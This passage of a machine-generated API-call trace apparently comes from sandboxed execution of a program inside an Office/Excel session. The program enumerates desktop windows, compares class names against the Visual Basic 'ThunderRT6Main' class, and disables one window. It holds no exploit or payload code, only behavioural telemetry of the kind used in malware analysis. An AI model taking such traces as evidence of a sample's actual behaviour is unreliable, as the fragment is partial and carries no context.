(hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0086.612] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0086.612] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0086.612] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.612] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0086.612] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0086.612] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0086.612] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.612] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0086.612] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0086.612] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0086.612] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0086.612] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.612] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.612] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.612] GetWindowLongA (hWnd=0x201a6, nIndex=-16) returned -1946157056 [0086.612] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0086.612] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0086.612] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0086.612] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0086.612] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0086.612] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.612] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0086.612] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0086.612] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0086.612] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0086.612] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.612] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.612] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.612] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -1778384896 [0086.612] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0086.612] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0086.612] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0086.613] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.613] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.613] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.613] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -1778384896 [0086.613] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0086.613] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0086.613] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0086.613] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.613] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.613] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.613] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -1778384896 [0086.613] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0086.613] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0086.613] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0086.613] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.613] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.613] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.613] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -1778384896 [0086.613] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0086.613] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0086.613] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x202cc [0086.613] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0086.613] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0086.613] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.613] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -2080374784 [0086.613] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0086.613] IsWindowEnabled (hWnd=0x202cc) returned 1 [0086.613] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x0 [0086.613] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0086.613] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0086.613] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0086.613] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0086.614] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0086.614] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.614] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0086.614] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0086.614] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0086.614] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0086.614] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.614] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0086.614] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0086.614] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0086.614] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0086.614] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.614] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.614] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.614] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0086.614] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0086.614] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0086.614] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0086.614] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.614] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.614] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.614] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0086.614] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0086.614] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0086.614] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0086.614] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.614] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.614] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.614] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0086.614] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0086.614] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0086.614] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0086.614] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.614] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.615] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.615] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0086.615] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0086.615] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0086.615] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x30228 [0086.615] GetClassNameA (in: hWnd=0x30228, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0086.615] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0086.615] GetWindowThreadProcessId (in: hWnd=0x30228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xac4 [0086.615] GetWindow (hWnd=0x30228, uCmd=0x2) returned 0x3022a [0086.615] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.615] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.615] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xad8 [0086.615] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x102a2 [0086.615] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.615] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.615] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0086.615] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0086.615] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0086.615] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0086.615] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.615] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0086.615] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0086.615] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0086.615] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0086.615] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0086.615] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0086.615] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.615] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0086.615] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0086.615] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0086.615] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0086.615] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.615] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.616] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.616] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0086.616] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0086.616] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0086.616] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0086.616] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.616] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.616] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.616] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0086.616] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0086.616] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0086.616] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0086.616] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.616] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.616] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.616] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0086.616] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0086.616] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0086.616] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8 [0086.616] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.616] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.616] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.616] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0086.616] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0086.616] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0086.616] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0086.616] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0086.616] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0086.616] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.616] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0086.616] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0086.616] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0086.616] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0086.616] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0086.616] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0086.617] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0086.617] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0086.617] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0086.617] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0086.617] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.617] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0086.617] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0086.617] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0086.617] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0086.617] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.617] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.617] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0086.617] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0086.617] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0086.617] lstrcmpA (lpString1="Stomach_harassment_", lpString2="ThunderRT6Main") returned -1 [0086.617] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0086.617] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0086.617] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0086.617] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0086.617] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.617] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0086.617] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0086.617] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0086.617] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0086.617] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0086.617] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0086.617] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.617] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0086.617] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0086.617] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0086.617] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0086.617] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.618] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0086.618] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0086.618] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0086.618] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0086.618] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0086.618] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0086.618] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.618] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.618] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0086.618] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0086.618] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0086.618] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0086.618] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0086.618] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0086.618] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.618] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.618] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0086.618] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0086.618] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0086.618] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0086.618] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0086.618] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0086.618] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.618] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.618] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0086.618] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0086.618] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0086.618] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0086.619] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0086.619] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0086.619] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.619] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.619] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0086.619] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0086.619] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0086.619] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0086.619] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0086.619] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0086.619] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.619] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.619] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0086.619] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0086.619] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0086.619] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0086.619] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0086.619] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0086.619] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.619] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.619] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0086.619] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0086.619] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0086.619] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0086.619] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0086.619] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0086.619] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.619] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.619] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0086.619] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0086.620] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0086.620] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0086.620] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0086.620] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0086.620] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.620] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.620] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0086.620] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0086.620] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0086.620] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0086.620] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0086.620] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0086.620] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.620] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.620] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0086.620] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0086.620] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0086.620] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0086.620] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: 